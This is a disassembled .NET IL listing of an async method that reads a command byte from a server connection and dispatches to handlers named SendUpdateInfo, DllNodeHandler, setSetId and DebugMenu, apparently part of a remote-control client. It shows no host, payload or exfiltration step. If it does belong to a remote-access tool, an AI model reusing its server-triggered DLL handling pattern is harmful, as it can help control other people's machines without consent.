00003a67ldloca.s 4
00003a69call get_IsCompleted
00003a6ebrtrue.s IL_0089
00003a70ldarg.0
00003a71ldc.i4.0
00003a72dup
00003a73stloc.0
00003a74stfld <>1__state
00003a79ldarg.0
00003a7aldloc.s 4
00003a7cstfld <>u__1
00003a81ldarg.0
00003a82ldflda <>t__builder
00003a87ldloca.s 4
00003a89ldarg.0
00003a8acall 0x2B00001D
00003a8fleave IL_02b5
00003a94ldarg.0
00003a95ldfld <>u__1
00003a9astloc.s 4
00003a9cldarg.0
00003a9dldflda <>u__1
00003aa2initobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00003aa8ldarg.0
00003aa9ldc.i4.m1
00003aaadup
00003aabstloc.0
00003aacstfld <>1__state
00003ab1ldloca.s 4
00003ab3call GetResult
00003ab8stloc.2
00003ab9ldloc.2
00003ababrfalse IL_027c
00003abfldloc.2
00003ac0ldc.i4.0
00003ac1ldelem.u1
00003ac2stloc.3
00003ac3ldloc.3
00003ac4switch (IL_00ba, IL_0123, IL_0191, IL_01f8, IL_01fd)
00003addbr IL_025f
00003ae2ldloc.1
00003ae3ldarg.0
00003ae4ldfld subServer
00003ae9call SendUpdateInfo
00003aeecallvirt GetAwaiter
00003af3stloc.s 5
00003af5ldloca.s 5
00003af7call get_IsCompleted
00003afcbrtrue.s IL_0117
00003afeldarg.0
00003affldc.i4.1
00003b00dup
00003b01stloc.0
00003b02stfld <>1__state
00003b07ldarg.0
00003b08ldloc.s 5
00003b0astfld <>u__2
00003b0fldarg.0
00003b10ldflda <>t__builder
00003b15ldloca.s 5
00003b17ldarg.0
00003b18call 0x2B00001E
00003b1dleave IL_02b5
00003b22ldarg.0
00003b23ldfld <>u__2
00003b28stloc.s 5
00003b2aldarg.0
00003b2bldflda <>u__2
00003b30initobj System.Runtime.CompilerServices.TaskAwaiter
00003b36ldarg.0
00003b37ldc.i4.m1
00003b38dup
00003b39stloc.0
00003b3astfld <>1__state
00003b3fldloca.s 5
00003b41call GetResult
00003b46br IL_025f
00003b4bldloc.1
00003b4cldfld dllhandler
00003b51ldarg.0
00003b52ldfld subServer
00003b57callvirt DllNodeHandler
00003b5ccallvirt GetAwaiter
00003b61stloc.s 5
00003b63ldloca.s 5
00003b65call get_IsCompleted
00003b6abrtrue.s IL_0185
00003b6cldarg.0
00003b6dldc.i4.2
00003b6edup
00003b6fstloc.0
00003b70stfld <>1__state
00003b75ldarg.0
00003b76ldloc.s 5
00003b78stfld <>u__2
00003b7dldarg.0
00003b7eldflda <>t__builder
00003b83ldloca.s 5
00003b85ldarg.0
00003b86call 0x2B00001E
00003b8bleave IL_02b5
00003b90ldarg.0
00003b91ldfld <>u__2
00003b96stloc.s 5
00003b98ldarg.0
00003b99ldflda <>u__2
00003b9einitobj System.Runtime.CompilerServices.TaskAwaiter
00003ba4ldarg.0
00003ba5ldc.i4.m1
00003ba6dup
00003ba7stloc.0
00003ba8stfld <>1__state
00003badldloca.s 5
00003bafcall GetResult
00003bb4br IL_027c
00003bb9ldloc.1
00003bbaldarg.0
00003bbbldfld subServer
00003bc0ldloc.2
00003bc1call setSetId
00003bc6callvirt GetAwaiter
00003bcbstloc.s 5
00003bcdldloca.s 5
00003bcfcall get_IsCompleted
00003bd4brtrue.s IL_01ef
00003bd6ldarg.0
00003bd7ldc.i4.3
00003bd8dup
00003bd9stloc.0
00003bdastfld <>1__state
00003bdfldarg.0
00003be0ldloc.s 5
00003be2stfld <>u__2
00003be7ldarg.0
00003be8ldflda <>t__builder
00003bedldloca.s 5
00003befldarg.0
00003bf0call 0x2B00001E
00003bf5leave IL_02b5
00003bfaldarg.0
00003bfbldfld <>u__2
00003c00stloc.s 5
00003c02ldarg.0
00003c03ldflda <>u__2
00003c08initobj System.Runtime.CompilerServices.TaskAwaiter
00003c0eldarg.0
00003c0fldc.i4.m1
00003c10dup
00003c11stloc.0
00003c12stfld <>1__state
00003c17ldloca.s 5
00003c19call GetResult
00003c1ebr.s IL_025f
00003c20leave IL_02a2
00003c25ldloc.1
00003c26ldarg.0
00003c27ldfld subServer
00003c2cldloc.2
00003c2dcall DebugMenu
00003c32callvirt GetAwaiter
00003c37stloc.s 5
00003c39ldloca.s 5
00003c3bcall get_IsCompleted
00003c40brtrue.s IL_0258
00003c42ldarg.0
00003c43ldc.i4.4
00003c44dup
00003c45stloc.0
00003c46stfld <>1__state
00003c4bldarg.0
00003c4cldloc.s 5
00003c4estfld <>u__2
00003c53ldarg.0
00003c54ldflda <>t__builder
00003c59ldloca.s 5
00003c5bldarg.0
00003c5ccall 0x2B00001E
00003c61leave.s IL_02b5
00003c63ldarg.0
00003c64ldfld <>u__2
00003c69stloc.s 5
00003c6bldarg.0
00003c6cldflda <>u__2
00003c71initobj System.Runtime.CompilerServices.TaskAwaiter
00003c77ldarg.0
00003c78ldc.i4.m1
00003c79dup
00003c7astloc.0
00003c7bstfld <>1__state
00003c80ldloca.s 5
00003c82call GetResult
00003c87ldarg.0
00003c88ldfld subServer
00003c8dcallvirt Connected
00003c92brfalse.s IL_027c
00003c94ldloc.1
00003c95ldfld Main
00003c9acallvirt Connected
00003c9fbrtrue IL_002d
00003ca4ldarg.0
00003ca5ldfld subServer
00003caacallvirt Disconnect
00003cafleave.s IL_02a2
00003cb1stloc.s 6
00003cb3ldarg.0
00003cb4ldc.i4.s -2
00003cb6stfld <>1__state
00003cbbldarg.0
00003cbcldflda <>t__builder
00003cc1ldloc.s 6
00003cc3call SetException
00003cc8leave.s IL_02b5
00003ccaldarg.0
00003ccbldc.i4.s -2
00003ccdstfld <>1__state
00003cd2ldarg.0
00003cd3ldflda <>t__builder
00003cd8call SetResult
00003cddret
00003a28
Loading..